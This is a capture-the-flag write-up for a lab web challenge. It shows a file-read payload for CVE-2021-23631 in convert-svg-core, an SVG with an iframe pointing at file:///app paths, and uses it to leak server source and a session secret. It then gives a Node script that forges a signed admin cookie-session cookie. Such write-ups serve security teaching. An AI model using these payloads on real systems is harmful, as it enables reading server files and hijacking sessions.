One of the renowned scientists in the research of cell mutation, Dr. Rick, was a close ally of Draeger. The by-products of his research, the mutant army wrecked a lot of havoc during the energy-crisis war. To exterminate the leftover mutants that now roam over the abandoned areas on the planet Vinyr, we need to acquire the cell structures produced in Dr. Rick’s mutation lab. Ulysses managed to find a remote portal with minimal access to Dr. Rick’s virtual lab. Can you help him uncover the experimentations of the wicked scientist?
👀 Enumeration
When I opened the website I saw the simple login/registration page. I didn’t have any credentials, so I registered and then logged in.
After I logged in, the following dashboard was shown:
On this page, I was able to export the “virus” and “tadpole” to the PNG file.
📂 Directory Traversal
When I clicked the export button, the request with an SVG was sent to the /api/export
endpoint.
The response was a relative path to the SVG file as a PNG.
When I tried to send empty SVG file, the 500
response code was returned with the following error message:
curl --request $'POST' \
--header $'Host: htb-box.ip' --header $'Content-Type: application/json' \
--cookie $'session=e3VzZXJuYW1lOnJvb3R0eX0K; session.sig=HHH9gKBZMR7bzDc2jaiQr_Us3sk' \
--data-binary $'{\"svg\":\"\"}' \
$'htb-box.ip/api/export'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1080
Date: Tue, 05 Jul 2022 00:00:00 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: SVG element open tag not found in input. Check the SVG input<br> at Converter.[convert] (/app/node_modules/convert-svg-core/src/Converter.js:202:13)<br> at Converter.convert (/app/node_modules/convert-svg-core/src/Converter.js:114:40)<br> at API.convert (/app/node_modules/convert-svg-core/src/API.js:80:32)<br> at /app/routes/index.js:61:21<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> at next (/app/node_modules/express/lib/router/route.js:144:13)<br> at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> at /app/node_modules/express/lib/router/index.js:286:22<br> at Function.process_params (/app/node_modules/express/lib/router/index.js:348:12)</pre>
</body>
</html>
From the error message, I knew that the app uses convert-svg-core
package to generate PNG files from SVG.
I searched for CVEs and I found, that the package is vulnerable to directory traversal CVE-2021-23631
.
From the error message, also I knew that the app is saved in the /app
from the error message. I tried to get /app/index.js
file with edited payload from the CVE:
{
"svg":"<svg-dummy></svg-dummy> <iframe src=\"file:///app/index.js\" width=\"100%\" height=\"1000px\"></iframe> <svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"> <text x=\"0\" y=\"0\">data</text> </svg>"
}
The server responded with path to the exported PNG file with the following content converted to the text from the PNG via tesseract
:
const express = require('express');
const session = require('cookie-session');
const app = express();
const path = require('path');
const cookieParser = require('cookie-parser');
const nunjucks = require('nunjucks');
const routes = require('./routes');
const Database = require('./database');
const db = new Database('database. db');
app.use(express.json({limit: '2mb'}));
app.use(cookieParser());
require('dotenv').config({path: '/app/.env'});
app.use(session({
name: "session",
keys: [process.env.SESSION_SECRET_KEY]
}));
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.use('/exports', express.static(path.resolve('exports')));
app.use(routes(db));
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
})
});
(async () => {
await db.connect();
await db.migrate();
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
From this file I found out the path to the environment /app/.env
.
So I edited payload and readout the SESSION_SECRET_KEY=fc8c7ef845baff7935591112465173e7
environment which is used as
key to generate session.
On the dashboard page was the text “Only lab admin is allowed to view the confidential records”.
I wondered if I could export the rest of the source code to make a clue on how to get the flag.
The router source code path /app/routes/index.js
had the following content:
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const express = require('express');
const router = express.Router({caseSensitive: true});
const AuthMiddleware = require('../middleware/AuthMiddleware');
const {convert} = require('convert-svg-to-png');
const {execSync} = require('child_process');
let db;
const response = data => ({message: data});
router.get('/', (req, res) => {
return res.render('login.html');
});
router.post('/api/register', async (req, res) => {
const {username, password} = req.body;
if (username && password) {
return db.getUser(username)
.then(user => {
if (user) return res.status(401).send(response('This UUID is already registered!'));
return db.registerUser(username, password)
.then(() => res.send(response("Account registered successfully!")))
})
.catch(() => res.status(500).send(response("Something went wrong!")));
}
return res.status(401).send(response("Please fill out all the required fields!"));
});
router.post('/api/login', async (req, res) => {
const {username, password} = req.body;
if (username && password) {
return db.loginUser(username, password)
.then(user => {
req.session.username = user.username;
res.send(response('User authenticated successfully!'));
})
.catch((e) => {
console.log(e);
res.status(43).send(response('Invalid UUID or password!'));
return res.status(500).send(response('Missing parameters!'));
});
}
});
router.get('/dashboard', AuthMiddleware, async (req, res, next) => {
if (req.session.username === 'admin') {
let flag = execSync('../readflag').toString();
return res.render('admin.html', {flag});
}
return res.render('dashboard.html');
});
router.post('/api/export', async (req, res, next) => {
const {svg} = req.body;
try {
const png = await convert(
svg,
{
puppeteer: {
headless: true,
args: ['--no-sandbox', '--js-flags=--noexpose_wasm, --jitless']
}
}
);
imgFile = `${crypto.randomBytes(16).toString('hex')}.png`;
imgPath = path.join(_dirname, '/../exports', imgFile);
fs.writeFileSync(imgPath, png);
return res.json({png: `/exports/${imgFile}`});
} catch (e) {
next(e);
}
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
module.exports = database => {
db = database;
return router;
}
In the /dashboard
endpoint is a hint to the next step. I needed to change the cookie’s username to admin
and sign it with the key in the environment.
🍪 Baking cookies
To get the flag I needed session
and session.sig
cookies.
The app uses the cookie-session
package. When I looked at the
source code,
I noticed that the cookie is base64 encoded.
I decoded my current session
cookie, and I got the {username:rootty}
output.
I change my username to admin
and encoded it. I baked the first cookie value session=eyJ1c2VybmFtZSI6ImFkbWluIn0
.
I needed also the second session.sig
cookie. When I looked at the
source code
of this package again, I found out, that this package uses cookies
package to
sign cookie.
The signing of the cookie is performed via the keygrip
package.
When I looked at this package, I found the
code
responsible for creating a signature.
At this point I knew how the second cookie is created. I created simple NodeJS script to create signature for session
cookie:
var crypto = require("crypto")
function Keygrip(keys, algorithm, encoding) {
if (!algorithm) algorithm = "sha1";
if (!encoding) encoding = "base64";
if (!(this instanceof Keygrip)) return new Keygrip(keys, algorithm, encoding)
if (!keys || !(0 in keys)) {
throw new Error("Keys must be provided.")
}
function sign(data, key) {
return crypto
.createHmac(algorithm, key)
.update(data).digest(encoding)
.replace(/\/|\+|=/g, function (x) {
return ({"/": "_", "+": "-", "=": ""})[x]
})
}
this.sign = function (data) {
return sign(data, keys[0])
}
}
console.log(new Keygrip(["fc8c7ef845baff7935591112465173e7"]).sign("session=eyJ1c2VybmFtZSI6ImFkbWluIn0"))
Notice, that the signed data contains the
session=
prefix. This is needed to be aligned with thecookie-session
package.
I baked the second cookie session.sig=MJWvRHlL7tlZ8ZmJ99ec4xXNJcs
. I passed both cookies to the browser and on the dashboard page was shown the flag.
I was lazy, so I exported cell structure and copied the flag from the HTTP request.